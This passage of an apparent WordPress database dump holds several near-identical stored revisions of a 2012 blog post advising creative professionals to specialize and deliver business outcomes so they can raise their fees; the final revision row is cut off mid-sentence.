(2113, 2, '2012-07-25 15:41:19', '2012-07-25 22:41:19', '<div>\r\n\r\n<img class="alignnone size-full wp-image-2109" title="raise your price" src="http://whc.fbdev.org/wp-content/uploads/2012/07/price.jpg" alt="" width="495" height="379" />\r\n<h1><span style="color: #808080;">If you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder.</span></h1>\r\nWould you pay extra for something you don’t value? Of course not, and neither will your clients! In my work consulting with creative professionals, one question always gets a robust response from me–“how can I raise my rates”?\r\n\r\nIt’s a fair question. Serving higher paying clients is something every creative professional aspires to accomplish in their business. Everyone wants to increase the amount of money they get paid. But why should any one of your current or prospective clients pay one nickel more for your services–especially when they have abundant alternatives to you? How can you command premium pricing for your work and have clients loving you for it?\r\n\r\nHere is the simple key to commanding more money for your services:\r\n\r\n<strong>Provide more “use value” to your client than they pay you in cash value.</strong>\r\n\r\nThis is what separates the value creators from the order takers. Premium pricing is reserved for those creative professionals who posses these characteristics:\r\n\r\n- they provide relevant and highly-valued business outcomes for their clients,\r\n\r\n-  they have the ability to quickly build trust and strong emotional connections\r\nwith their clients,\r\n\r\n-  they are known and perceived to deliver deep specialized value for the price,\r\n\r\n- their clients believe there are no or few substitutes for what they deliver.\r\n\r\nOnly if you possess these characteristics and attributes will you be able to “raise your prices” and still maintain a competitive advantage. Increase your value to the client first. Here’s how you can do that:\r\n\r\n<strong>Believe you’re worthy of receiving more money!</strong>\r\n\r\nThis statement may seem like an over simplification, but sometimes the biggest barrier to creating more value for clients lies in your beliefs about your own value. This is a subconscious thing, way under the radar of your awareness.\r\n\r\nMany people have limiting and distorted beliefs about money, success and their worthiness to create massive financial value. It took me more than half my business career to figure this out! Let that not be you!\r\n\r\nBefore you can raise your prices, you must first raise your thinking and belief about what you’re really capable of. If you don’t believe it why should your client? Your disbelief in yourself will show!\r\n\r\n<strong>Specialize!</strong>\r\n\r\nValue creators are specialists! To specialize, one must possess deep and narrow expertise in a discipline, industry, serving a demographic group or customer segment. When you have a narrow focus you get known for providing a specific solution. The solution you provide must be something you’re a genius at doing, highly valued by the client and not in abundant supply elsewhere.\r\n\r\nGeneralists rarely if ever command premium pricing. That’s because they are trying to be all things to all people. They don’t want to miss any opportunity. Generalists don’t believe in focusing on one thing. Generalists are transaction based, and as a result, usually hired to provide tactical value rather than strategic value. Generalists have broad offerings, but no real depth of expertise in anything. They are easily replaced.\r\n\r\nIf you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder. When you are known as the “go-to” resource for a highly valued solution, clients will seek you out. You won’t be writing proposals, pitching and bidding for business with dozens of competitiors. Clients will pay more for what they value–your specialized, hard to find expertise! And they will share their good fortune working with you with others, enabling your business development effectiveness to take a quantum leap.\r\n\r\n<strong>Deliver outcomes not stuff!</strong>\r\n\r\nSaying its so, won’t make it so. You can claim a specialized expertise all day long but that won’t enable you to get paid more money. You have to prove your claim.  You do this by delivering on your promise of value. Delivering doesn’t simply mean doing a good job, delivered on time, on budget. To deliver, you must help the client achieve their desired business outcome; or as stated earlier, “provide more use value”.\r\n\r\nWhen clients experience their desired business outcome by working with you, your higher value will be perceived– not in the stuff you make. All your competitors can make and deliver stuff – at cheaper prices too! What will distinguish you from the slush pile is your ability to assess and deliver highly valued business outcomes. When you do this, you will not only command higher fees, but you will enhance your positioning in the clients mind as “cheap at twice the price”.\r\n\r\n</div>', 'How to raise your rates and have clients love you for it.', 0, '', 'inherit', 'open', 'open', '', '2108-revision-4', '', '', '2012-07-25 15:41:19', '2012-07-25 22:41:19', '', 2108, 'http://www.whitehotcenter.com/2012/07/2108-revision-4/', 0, 'revision', '', 0),
(2114, 2, '2012-07-25 15:42:44', '2012-07-25 22:42:44', '<div>\r\n\r\n<img class="alignnone size-full wp-image-2109" title="raise your price" src="http://whc.fbdev.org/wp-content/uploads/2012/07/price.jpg" alt="" width="495" height="379" />\r\n<h1><span style="color: #808080;">If you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder.</span></h1>\r\nWould you pay extra for something you don’t value? Of course not, and neither will your clients! In my work consulting with creative professionals, one question always gets a robust response from me–“how can I raise my rates”?\r\n\r\nIt’s a fair question. Serving higher paying clients is something every creative professional aspires to accomplish in their business. Everyone wants to increase the amount of money they get paid. But why should any one of your current or prospective clients pay one nickel more for your services–especially when they have abundant alternatives to you? How can you command premium pricing for your work and have clients loving you for it?\r\n<h2>Here is the simple key to commanding more money for your services:<strong>\r\n</strong>Provide more “use value” to your client than they pay you in cash value.</h2>\r\nThis is what separates the value creators from the order takers. Premium pricing is reserved for those creative professionals who posses these characteristics:\r\n\r\n- they provide relevant and highly-valued business outcomes for their clients,\r\n\r\n-  they have the ability to quickly build trust and strong emotional connections\r\nwith their clients,\r\n\r\n-  they are known and perceived to deliver deep specialized value for the price,\r\n\r\n- their clients believe there are no or few substitutes for what they deliver.\r\n\r\nOnly if you possess these characteristics and attributes will you be able to “raise your prices” and still maintain a competitive advantage. Increase your value to the client first. Here’s how you can do that:\r\n\r\n<strong>Believe you’re worthy of receiving more money!</strong>\r\n\r\nThis statement may seem like an over simplification, but sometimes the biggest barrier to creating more value for clients lies in your beliefs about your own value. This is a subconscious thing, way under the radar of your awareness.\r\n\r\nMany people have limiting and distorted beliefs about money, success and their worthiness to create massive financial value. It took me more than half my business career to figure this out! Let that not be you!\r\n\r\nBefore you can raise your prices, you must first raise your thinking and belief about what you’re really capable of. If you don’t believe it why should your client? Your disbelief in yourself will show!\r\n\r\n<strong>Specialize!</strong>\r\n\r\nValue creators are specialists! To specialize, one must possess deep and narrow expertise in a discipline, industry, serving a demographic group or customer segment. When you have a narrow focus you get known for providing a specific solution. The solution you provide must be something you’re a genius at doing, highly valued by the client and not in abundant supply elsewhere.\r\n\r\nGeneralists rarely if ever command premium pricing. That’s because they are trying to be all things to all people. They don’t want to miss any opportunity. Generalists don’t believe in focusing on one thing. Generalists are transaction based, and as a result, usually hired to provide tactical value rather than strategic value. Generalists have broad offerings, but no real depth of expertise in anything. They are easily replaced.\r\n\r\nIf you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder. When you are known as the “go-to” resource for a highly valued solution, clients will seek you out. You won’t be writing proposals, pitching and bidding for business with dozens of competitiors. Clients will pay more for what they value–your specialized, hard to find expertise! And they will share their good fortune working with you with others, enabling your business development effectiveness to take a quantum leap.\r\n\r\n<strong>Deliver outcomes not stuff!</strong>\r\n\r\nSaying its so, won’t make it so. You can claim a specialized expertise all day long but that won’t enable you to get paid more money. You have to prove your claim.  You do this by delivering on your promise of value. Delivering doesn’t simply mean doing a good job, delivered on time, on budget. To deliver, you must help the client achieve their desired business outcome; or as stated earlier, “provide more use value”.\r\n\r\nWhen clients experience their desired business outcome by working with you, your higher value will be perceived– not in the stuff you make. All your competitors can make and deliver stuff – at cheaper prices too! What will distinguish you from the slush pile is your ability to assess and deliver highly valued business outcomes. When you do this, you will not only command higher fees, but you will enhance your positioning in the clients mind as “cheap at twice the price”.\r\n\r\n</div>', 'How to raise your rates and have clients love you for it.', 0, '', 'inherit', 'open', 'open', '', '2108-revision-5', '', '', '2012-07-25 15:42:44', '2012-07-25 22:42:44', '', 2108, 'http://www.whitehotcenter.com/2012/07/2108-revision-5/', 0, 'revision', '', 0),
(2115, 2, '2012-07-25 15:42:52', '2012-07-25 22:42:52', '<div>\r\n\r\n<img class="alignnone size-full wp-image-2109" title="raise your price" src="http://whc.fbdev.org/wp-content/uploads/2012/07/price.jpg" alt="" width="495" height="379" />\r\n<h1><span style="color: #808080;">If you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder.</span></h1>\r\nWould you pay extra for something you don’t value? Of course not, and neither will your clients! In my work consulting with creative professionals, one question always gets a robust response from me–“how can I raise my rates”?\r\n\r\nIt’s a fair question. Serving higher paying clients is something every creative professional aspires to accomplish in their business. Everyone wants to increase the amount of money they get paid. But why should any one of your current or prospective clients pay one nickel more for your services–especially when they have abundant alternatives to you? How can you command premium pricing for your work and have clients loving you for it?\r\n<h2>Here is the simple key to commanding more money for your services:<strong>\r\n</strong>Provide more “use value” to your client than they pay you in cash value.</h2>\r\nThis is what separates the value creators from the order takers. Premium pricing is reserved for those creative professionals who posses these characteristics:\r\n\r\n- they provide relevant and highly-valued business outcomes for their clients,\r\n\r\n-  they have the ability to quickly build trust and strong emotional connections\r\nwith their clients,\r\n\r\n-  they are known and perceived to deliver deep specialized value for the price,\r\n\r\n- their clients believe there are no or few substitutes for what they deliver.\r\n\r\nOnly if you possess these characteristics and attributes will you be able to “raise your prices” and still maintain a competitive advantage. Increase your value to the client first. Here’s how you can do that:\r\n\r\n<strong>Believe you’re worthy of receiving more money!</strong>\r\n\r\nThis statement may seem like an over simplification, but sometimes the biggest barrier to creating more value for clients lies in your beliefs about your own value. This is a subconscious thing, way under the radar of your awareness.\r\n\r\nMany people have limiting and distorted beliefs about money, success and their worthiness to create massive financial value. It took me more than half my business career to figure this out! Let that not be you!\r\n\r\nBefore you can raise your prices, you must first raise your thinking and belief about what you’re really capable of. If you don’t believe it why should your client? Your disbelief in yourself will show!\r\n\r\n<strong>Specialize!</strong>\r\n\r\nValue creators are specialists! To specialize, one must possess deep and narrow expertise in a discipline, industry, serving a demographic group or customer segment. When you have a narrow focus you get known for providing a specific solution. The solution you provide must be something you’re a genius at doing, highly valued by the client and not in abundant supply elsewhere.\r\n\r\nGeneralists rarely if ever command premium pricing. That’s because they are trying to be all things to all people. They don’t want to miss any opportunity. Generalists don’t believe in focusing on one thing. Generalists are transaction based, and as a result, usually hired to provide tactical value rather than strategic value. Generalists have broad offerings, but no real depth of expertise in anything. They are easily replaced.\r\n\r\nIf you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder. When you are known as the “go-to” resource for a highly valued solution, clients will seek you out. You won’t be writing proposals, pitching and bidding for business with dozens of competitiors. Clients will pay more for what they value–your specialized, hard to find expertise! And they will share their good fortune working with you with others, enabling your business development effectiveness to take a quantum leap.\r\n\r\n<strong>Deliver outcomes not stuff!</strong>\r\n\r\nSaying its so, won’t make it so. You can claim a specialized expertise all day long but that won’t enable you to get paid more money. You have to prove your claim.  You do this by delivering on your promise of value. Delivering doesn’t simply mean doing a good job, delivered on time, on budget. To deliver, you must help the client achieve their desired business outcome; or as stated earlier, “provide more use value”.\r\n\r\nWhen clients experience their desired business outcome by working with you, your higher value will be perceived– not in the stuff you make. All your competitors can make and deliver stuff – at cheaper prices too! What will distinguish you from the slush pile is your ability to assess and deliver highly valued business outcomes. When you do this, you will not only command higher fees, but you will enhance your positioning in the clients mind as “cheap at twice the price”.\r\n\r\n</div>', 'How to raise your rates and have clients love you for it.', 0, '', 'inherit', 'open', 'open', '', '2108-revision-6', '', '', '2012-07-25 15:42:52', '2012-07-25 22:42:52', '', 2108, 'http://www.whitehotcenter.com/2012/07/2108-revision-6/', 0, 'revision', '', 0),
(2116, 2, '2012-07-25 15:43:03', '2012-07-25 22:43:03', '<div>\r\n\r\n<img class="alignnone size-full wp-image-2109" title="raise your price" src="http://whc.fbdev.org/wp-content/uploads/2012/07/price.jpg" alt="" width="495" height="379" />\r\n<h1><span style="color: #808080;">If you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder.</span></h1>\r\nWould you pay extra for something you don’t value? Of course not, and neither will your clients! In my work consulting with creative professionals, one question always gets a robust response from me–“how can I raise my rates”?\r\n\r\nIt’s a fair question. Serving higher paying clients is something every creative professional aspires to accomplish in their business. Everyone wants to increase the amount of money they get paid. But why should any one of your current or prospective clients pay one nickel more for your services–especially when they have abundant alternatives to you? How can you command premium pricing for your work and have clients loving you for it?\r\n<h2>Here is the simple key to commanding more money for your services:<strong>\r\n</strong>Provide more “use value” to your client than they pay you in cash value.</h2>\r\nThis is what separates the value creators from the order takers. Premium pricing is reserved for those creative professionals who posses these characteristics:\r\n\r\n- they provide relevant and highly-valued business outcomes for their clients,\r\n\r\n-  they have the ability to quickly build trust and strong emotional connections\r\nwith their clients,\r\n\r\n-  they are known and perceived to deliver deep specialized value for the price,\r\n\r\n- their clients believe there are no or few substitutes for what they deliver.\r\n\r\nOnly if you possess these characteristics and attributes will you be able to “raise your prices” and still maintain a competitive advantage. Increase your value to the client first. Here’s how you can do that:\r\n\r\n<strong>Believe you’re worthy of receiving more money!</strong>\r\n\r\nThis statement may seem like an over simplification, but sometimes the biggest barrier to creating more value for clients lies in your beliefs about your own value. This is a subconscious thing, way under the radar of your awareness.\r\n\r\nMany people have limiting and distorted beliefs about money, success and their worthiness to create massive financial value. It took me more than half my business career to figure this out! Let that not be you!\r\n\r\nBefore you can raise your prices, you must first raise your thinking and belief about what you’re really capable of. If you don’t believe it why should your client? Your disbelief in yourself will show!\r\n\r\n<strong>Specialize!</strong>\r\n\r\nValue creators are specialists! To specialize, one must possess deep and narrow expertise in a discipline, industry, serving a demographic group or customer segment. When you have a narrow focus you get known for providing a specific solution. The solution you provide must be something you’re a genius at doing, highly valued by the client and not in abundant supply elsewhere.\r\n\r\nGeneralists rarely if ever command premium pricing. That’s because they are trying to be all things to all people. They don’t want to miss any opportunity. Generalists don’t believe in focusing on one thing. Generalists are transaction based, and as a result, usually hired to provide tactical value rather than strategic value. Generalists have broad offerings, but no real depth of expertise in anything. They are easily replaced.\r\n\r\nIf you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder. When you are known as the “go-to” resource for a highly valued solution, clients will seek you out. You won’t be writing proposals, pitching and bidding for business with dozens of competitiors. Clients will pay more for what they value–your specialized, hard to find expertise! And they will share their good fortune working with you with others, enabling your business development effectiveness to take a quantum leap.\r\n\r\n<strong>Deliver outcomes not stuff!</strong>\r\n\r\nSaying its so, won’t make it so. You can claim a specialized expertise all day long but that won’t enable you to get paid more money. You have to prove your claim.  You do this by delivering on your promise of value. Delivering doesn’t simply mean doing a good job, delivered on time, on budget. To deliver, you must help the client achieve their desired business outcome; or as stated earlier, “provide more use value”.\r\n\r\nWhen clients experience their desired business outcome by working with you, your higher value will be perceived– not in the stuff you make. All your competitors can make and deliver stuff – at cheaper prices too! What will distinguish you from the slush pile is your ability to assess and deliver highly valued business outcomes. When you do this, you will not only command higher fees, but you will enhance your positioning in the clients mind as “cheap at twice the price”.\r\n\r\n</div>', 'How to raise your rates and have clients love you for it.', 0, '', 'inherit', 'open', 'open', '', '2108-revision-7', '', '', '2012-07-25 15:43:03', '2012-07-25 22:43:03', '', 2108, 'http://www.whitehotcenter.com/2012/07/2108-revision-7/', 0, 'revision', '', 0),
(2117, 2, '2012-07-25 15:47:12', '2012-07-25 22:47:12', '<div>\r\n\r\n<img class="alignnone size-full wp-image-2109" title="raise your price" src="http://whc.fbdev.org/wp-content/uploads/2012/07/price.jpg" alt="" width="495" height="379" />\r\n<h1><span style="color: #808080;">If you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder.</span></h1>\r\nWould you pay extra for something you don’t value? Of course not, and neither will your clients! In my work consulting with creative professionals, one question always gets a robust response from me–“how can I raise my rates”?\r\n\r\nIt’s a fair question. Serving higher paying clients is something every creative professional aspires to accomplish in their business. Everyone wants to increase the amount of money they get paid. But why should any one of your current or prospective clients pay one nickel more for your services–especially when they have abundant alternatives to you? How can you command premium pricing for your work and have clients loving you for it?\r\n<h2>Here is the simple key to commanding more money for your services:<strong>\r\n</strong>Provide more “use value” to your client than they pay you in cash value.</h2>\r\nThis is what separates the value creators from the order takers. Premium pricing is reserved for those creative professionals who posses these characteristics:\r\n\r\n•  they provide relevant and highly-valued business outcomes for their clients,\r\n\r\n•  they have the ability to quickly build trust and strong emotional connections with their clients,\r\n\r\n•  they are known and perceived to deliver deep specialized value for the price,\r\n\r\n• their clients believe there are no or few substitutes for what they deliver.\r\n\r\nOnly if you possess these characteristics and attributes will you be able to “raise your prices” and still maintain a competitive advantage. Increase your value to the client first. Here’s how you can do that:\r\n\r\n<strong>Believe you’re worthy of receiving more money!</strong>\r\nThis statement may seem like an over simplification, but sometimes the biggest barrier to creating more value for clients lies in your beliefs about your own value. This is a subconscious thing, way under the radar of your awareness.\r\n\r\nMany people have limiting and distorted beliefs about money, success and their worthiness to create massive financial value. It took me more than half my business career to figure this out! Let that not be you!\r\n\r\nBefore you can raise your prices, you must first raise your thinking and belief about what you’re really capable of. If you don’t believe it why should your client? Your disbelief in yourself will show!\r\n\r\n<strong>Specialize!</strong>\r\nValue creators are specialists! To specialize, one must possess deep and narrow expertise in a discipline, industry, serving a demographic group or customer segment. When you have a narrow focus you get known for providing a specific solution. The solution you provide must be something you’re a genius at doing, highly valued by the client and not in abundant supply elsewhere.\r\n\r\nGeneralists rarely if ever command premium pricing. That’s because they are trying to be all things to all people. They don’t want to miss any opportunity. Generalists don’t believe in focusing on one thing. Generalists are transaction based, and as a result, usually hired to provide tactical value rather than strategic value. Generalists have broad offerings, but no real depth of expertise in anything. They are easily replaced.\r\n\r\nIf you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder. When you are known as the “go-to” resource for a highly valued solution, clients will seek you out. You won’t be writing proposals, pitching and bidding for business with dozens of competitiors. Clients will pay more for what they value–your specialized, hard to find expertise! And they will share their good fortune working with you with others, enabling your business development effectiveness to take a quantum leap.\r\n\r\n<strong>Deliver outcomes not stuff!</strong>\r\nSaying its so, won’t make it so. You can claim a specialized expertise all day long but that won’t enable you to get paid more money. You have to prove your claim.  You do this by delivering on your promise of value. Delivering doesn’t simply mean doing a good job, delivered on time, on budget. To deliver, you must help the client achieve their desired business outcome; or as stated earlier, “provide more use value”.\r\n\r\nWhen clients experience their desired business outcome by working with you, your higher value will be perceived– not in the stuff you make. All your competitors can make and deliver stuff – at cheaper prices too! What will distinguish you from the slush pile is your ability to assess and deliver highly valued business outcomes. When you do this, you will not only command higher fees, but you will enhance your positioning in the clients mind as “cheap at twice the price”.\r\n\r\n</div>', 'How to raise your rates and have clients love you for it.', 0, '', 'inherit', 'open', 'open', '', '2108-revision-8', '', '', '2012-07-25 15:47:12', '2012-07-25 22:47:12', '', 2108, 'http://www.whitehotcenter.com/2012/07/2108-revision-8/', 0, 'revision', '', 0);
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(2118, 2, '2012-07-25 15:47:20', '2012-07-25 22:47:20', '<div>\r\n\r\n<img class="alignnone size-full wp-image-2109" title="raise your price" src="http://whc.fbdev.org/wp-content/uploads/2012/07/price.jpg" alt="" width="495" height="379" />\r\n<h1><span style="color: #808080;">If you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder.</span></h1>\r\nWould you pay extra for something you don’t value? Of course not, and neither will your clients! In my work consulting with creative professionals, one question always gets a robust response from me–“how can I raise my rates”?\r\n\r\nIt’s a fair question. Serving higher paying clients is something every creative professional aspires to accomplish in their business. Everyone wants to increase the amount of money they get paid. But why should any one of your current or prospective clients pay one nickel more for your services–especially when they have abundant alternatives to you? How can you command premium pricing for your work and have clients loving you for it?\r\n<h2>Here is the simple key to commanding more money for your services:<strong>\r\n</strong>Provide more “use value” to your client than they pay you in cash value.</h2>\r\nThis is what separates the value creators from the order takers. Premium pricing is reserved for those creative professionals who posses these characteristics:\r\n\r\n•  they provide relevant and highly-valued business outcomes for their clients,\r\n\r\n•  they have the ability to quickly build trust and strong emotional connections with their clients,\r\n\r\n•  they are known and perceived to deliver deep specialized value for the price,\r\n\r\n• their clients believe there are no or few substitutes for what they deliver.\r\n\r\nOnly if you possess these characteristics and attributes will you be able to “raise your prices” and still maintain a competitive advantage. Increase your value to the client first. Here’s how you can do that:\r\n\r\n<strong>Believe you’re worthy of receiving more money!</strong>\r\nThis statement may seem like an over simplification, but sometimes the biggest barrier to creating more value for clients lies in your beliefs about your own value. This is a subconscious thing, way under the radar of your awareness.\r\n\r\nMany people have limiting and distorted beliefs about money, success and their worthiness to create massive financial value. It took me more than half my business career to figure this out! Let that not be you!\r\n\r\nBefore you can raise your prices, you must first raise your thinking and belief about what you’re really capable of. If you don’t believe it why should your client? Your disbelief in yourself will show!\r\n\r\n<strong>Specialize!</strong>\r\nValue creators are specialists! To specialize, one must possess deep and narrow expertise in a discipline, industry, serving a demographic group or customer segment. When you have a narrow focus you get known for providing a specific solution. The solution you provide must be something you’re a genius at doing, highly valued by the client and not in abundant supply elsewhere.\r\n\r\nGeneralists rarely if ever command premium pricing. That’s because they are trying to be all things to all people. They don’t want to miss any opportunity. Generalists don’t believe in focusing on one thing. Generalists are transaction based, and as a result, usually hired to provide tactical value rather than strategic value. Generalists have broad offerings, but no real depth of expertise in anything. They are easily replaced.\r\n\r\nIf you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder. When you are known as the “go-to” resource for a highly valued solution, clients will seek you out. You won’t be writing proposals, pitching and bidding for business with dozens of competitiors. Clients will pay more for what they value–your specialized, hard to find expertise! And they will share their good fortune working with you with others, enabling your business development effectiveness to take a quantum leap.\r\n\r\n<strong>Deliver outcomes not stuff!</strong>\r\nSaying its so, won’t make it so. You can claim a specialized expertise all day long but that won’t enable you to get paid more money. You have to prove your claim.  You do this by delivering on your promise of value. Delivering doesn’t simply mean doing a good job, delivered on time, on budget. To deliver, you must help the client achieve their desired business outcome; or as stated earlier, “provide more use value”.\r\n\r\nWhen clients experience their desired business outcome by working with you, your higher value will be perceived– not in the stuff you make. All your competitors can make and deliver stuff – at cheaper prices too! What will distinguish you from the slush pile is your ability to assess and deliver highly valued business outcomes. When you do this, you will not only command higher fees, but you will enhance your positioning in the clients mind as “cheap at twice the price”.\r\n\r\n</div>', 'How to raise your rates and have clients love you for it.', 0, '', 'inherit', 'open', 'open', '', '2108-revision-9', '', '', '2012-07-25 15:47:20', '2012-07-25 22:47:20', '', 2108, 'http://www.whitehotcenter.com/2012/07/2108-revision-9/', 0, 'revision', '', 0),
(2119, 2, '2012-07-25 15:47:33', '2012-07-25 22:47:33', '<div>\r\n\r\n<img class="alignnone size-full wp-image-2109" title="raise your price" src="http://whc.fbdev.org/wp-content/uploads/2012/07/price.jpg" alt="" width="495" height="379" />\r\n<h1><span style="color: #808080;">If you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder.</span></h1>\r\nWould you pay extra for something you don’t value? Of course not, and neither will your clients! In my work consulting with creative professionals, one question always gets a robust response from me–“how can I raise my rates”?\r\n\r\nIt’s a fair question. Serving higher paying clients is something every creative professional aspires to accomplish in their business. Everyone wants to increase the amount of money they get paid. But why should any one of your current or prospective clients pay one nickel more for your services–especially when they have abundant alternatives to you? How can you command premium pricing for your work and have clients loving you for it?\r\n<h2>Here is the simple key to commanding more money for your services:<strong>\r\n</strong>Provide more “use value” to your client than they pay you in cash value.</h2>\r\nThis is what separates the value creators from the order takers. Premium pricing is reserved for those creative professionals who posses these characteristics:\r\n\r\n•  they provide relevant and highly-valued business outcomes for their clients,\r\n\r\n•  they have the ability to quickly build trust and strong emotional connections with their clients,\r\n\r\n•  they are known and perceived to deliver deep specialized value for the price,\r\n\r\n• their clients believe there are no or few substitutes for what they deliver.\r\n\r\nOnly if you possess these characteristics and attributes will you be able to “raise your prices” and still maintain a competitive advantage. Increase your value to the client first. Here’s how you can do that:\r\n\r\n<strong>Believe you’re worthy of receiving more money!</strong>\r\nThis statement may seem like an over simplification, but sometimes the biggest barrier to creating more value for clients lies in your beliefs about your own value. This is a subconscious thing, way under the radar of your awareness.\r\n\r\nMany people have limiting and distorted beliefs about money, success and their worthiness to create massive financial value. It took me more than half my business career to figure this out! Let that not be you!\r\n\r\nBefore you can raise your prices, you must first raise your thinking and belief about what you’re really capable of. If you don’t believe it why should your client? Your disbelief in yourself will show!\r\n\r\n<strong>Specialize!</strong>\r\nValue creators are specialists! To specialize, one must possess deep and narrow expertise in a discipline, industry, serving a demographic group or customer segment. When you have a narrow focus you get known for providing a specific solution. The solution you provide must be something you’re a genius at doing, highly valued by the client and not in abundant supply elsewhere.\r\n\r\nGeneralists rarely if ever command premium pricing. That’s because they are trying to be all things to all people. They don’t want to miss any opportunity. Generalists don’t believe in focusing on one thing. Generalists are transaction based, and as a result, usually hired to provide tactical value rather than strategic value. Generalists have broad offerings, but no real depth of expertise in anything. They are easily replaced.\r\n\r\nIf you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder. When you are known as the “go-to” resource for a highly valued solution, clients will seek you out. You won’t be writing proposals, pitching and bidding for business with dozens of competitiors. Clients will pay more for what they value–your specialized, hard to find expertise! And they will share their good fortune working with you with others, enabling your business development effectiveness to take a quantum leap.\r\n\r\n<strong>Deliver outcomes not stuff!</strong>\r\nSaying its so, won’t make it so. You can claim a specialized expertise all day long but that won’t enable you to get paid more money. You have to prove your claim.  You do this by delivering on your promise of value. Delivering doesn’t simply mean doing a good job, delivered on time, on budget. To deliver, you must help the client achieve their desired business outcome; or as stated earlier, “provide more use value”.\r\n\r\nWhen clients experience their desired business outcome by working with you, your higher value will be perceived– not in the stuff you make. All your competitors can make and deliver stuff – at cheaper prices too! What will distinguish you from the slush pile is your ability to assess and deliver highly valued business outcomes. When you do this, you will not only command higher fees, but you will enhance your positioning in the clients mind as “cheap at twice the price”.\r\n\r\n</div>', 'How to raise your rates and have clients love you for it.', 0, '', 'inherit', 'open', 'open', '', '2108-revision-10', '', '', '2012-07-25 15:47:33', '2012-07-25 22:47:33', '', 2108, 'http://www.whitehotcenter.com/2012/07/2108-revision-10/', 0, 'revision', '', 0),
(2120, 2, '2012-07-25 15:48:27', '2012-07-25 22:48:27', '<div>\r\n\r\n<img class="alignnone size-full wp-image-2109" title="raise your price" src="http://whc.fbdev.org/wp-content/uploads/2012/07/price.jpg" alt="" width="495" height="379" />\r\n<h1><span style="color: #808080;">If you want to raise your professional fees, you have to raise your value first. And value is always in the eye of the beholder.</span></h1>\r\nWould you pay extra for something you don’t value? Of course not, and neither will your clients! In my work consulting with creative professionals, one question always gets a robust response from me–“how can I raise my rates”?\r\n\r\nIt’s a fair question. Serving higher paying clients is something every creative professional aspires to accomplish in their business. Everyone wants to increase the amount of money they get paid. But why should any one of your current or prospective clients pay one nickel more for your services–especially when they have abundant alternatives to you? How can you command premium pricing for your work and have clients loving you for it?\r\n<h2>Here is the simple key to commanding more money for your services:<strong>\r\n</strong>Provide more “use value” to your client than they pay you in cash value.</h2>\r\nThis is what separates the value creators from the order takers. Premium pricing is reserved for those creative professionals who posses these characteristics:\r\n\r\n•  they provide relevant and highly-valued business outcomes for their clients,\r\n\r\n•  they have the ability to quickly build trust and strong emotional connections with their clients,\r\n\r\n•  they are known and perceived to deliver deep specialized value for the price,\r\n\r\n• their clients believe there are no or few substitutes for what they deliver.\r\n\r\nOnly if you possess these characteristics and attributes will you be able to “raise your prices” and still maintain a competitive advantage. Increase your value to the client first. Here’s how you can do that:\r\n\r\n<strong>Believe you’re worthy of receiving more money!</strong>\r\nThis statement may seem like an over simplification, but sometimes the biggest barrier to creating more value for clients lies in your beliefs about your own value. This is a subconscious thing, way under the radar of your awareness.\r\n\r\nMany people have limiting and distorted beliefs about money, success and their worthiness to create massive financial value. It took me more than half my business career to figure this out! Let that not be you!\r\n\r\nBefore you can raise your prices, you must first raise your thinking and belief about what you’re really capable of. If you don’t believe it why should your client? Your disbelief in yourself will show!\r\n\r\n<strong>Specialize!</strong>\r\nValue creators are specialists! To specialize, one must possess deep and narrow expertise in a discipline, industry, serving a demographic group or customer segment. When you have a narrow focus you get known for providing a specific solution. The solution you provide must be something you’re a genius at doing, highly valued by the client and not in abundant supply elsewhere.\r\n\r\nGeneralists rarely if ever command premium pricing. That’s because they are trying to be all things to all people. They don’t want to miss any opportunity. Generalists don’t believe in focusing on one thing. Generalists are transaction based, and as a result, usually hired to provide tactical value rather than strategic value. Generalists have broad offerings, but no real depth of expertise in anything. They are easily replaced.\r\n\r\nIf you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder. When you are known as the “go-to” resource for a highly valued solution, clients will seek you out. You won’t be writing proposals, pitching and bidding for business with dozens of competitiors. Clients will pay more for what they value–your specialized, hard to find expertise! And they will share their good fortune working with you with others, enabling your business development effectiveness to take a quantum leap.\r\n\r\n<strong>Deliver outcomes not stuff!</strong>\r\nSaying its so, won’t make it so. You can claim a specialized expertise all day long but that won’t enable you to get paid more money. You have to prove your claim.  You do this by delivering on your promise of value. Delivering doesn’t simply mean doing a good job, delivered on time, on budget. To deliver, you must help the client achieve their desired business outcome; or as stated earlier, “provide more use value”.\r\n\r\nWhen clients experience their desired business outcome by working with you, your higher value will be perceived– not in the stuff you make. All your competitors can make and deliver stuff – at cheaper prices too! What will distinguish you from the slush pile is your ability to assess and deliver highly valued business outcomes. When you do this, you will not only command higher fees, but you will enhance your positioning in the clients mind as “cheap at twice the price”.\r\n\r\n</div>', 'How to raise your rates and have clients love you for it.', 0, '', 'inherit', 'open', 'open', '', '2108-revision-11', '', '', '2012-07-25 15:48:27', '2012-07-25 22:48:27', '', 2108, 'http://www.whitehotcenter.com/2012/07/2108-revision-11/', 0, 'revision', '', 0),
(2121, 2, '2012-07-25 15:48:36', '2012-07-25 22:48:36', '<div>\r\n\r\n<img class="alignnone size-full wp-image-2109" title="raise your price" src="http://whc.fbdev.org/wp-content/uploads/2012/07/price.jpg" alt="" width="495" height="379" />\r\n<h1><span style="color: #808080;">If you want to raise your professional fees, you have to raise your value first. And value is always in the eye of the beholder.</span></h1>\r\nWould you pay extra for something you don’t value? Of course not, and neither will your clients! In my work consulting with creative professionals, one question always gets a robust response from me–“how can I raise my rates”?\r\n\r\nIt’s a fair question. Serving higher paying clients is something every creative professional aspires to accomplish in their business. Everyone wants to increase the amount of money they get paid. But why should any one of your current or prospective clients pay one nickel more for your services–especially when they have abundant alternatives to you? How can you command premium pricing for your work and have clients loving you for it?\r\n<h2>Here is the simple key to commanding more money for your services:<strong>\r\n</strong>Provide more “use value” to your client than they pay you in cash value.</h2>\r\nThis is what separates the value creators from the order takers. Premium pricing is reserved for those creative professionals who posses these characteristics:\r\n\r\n•  they provide relevant and highly-valued business outcomes for their 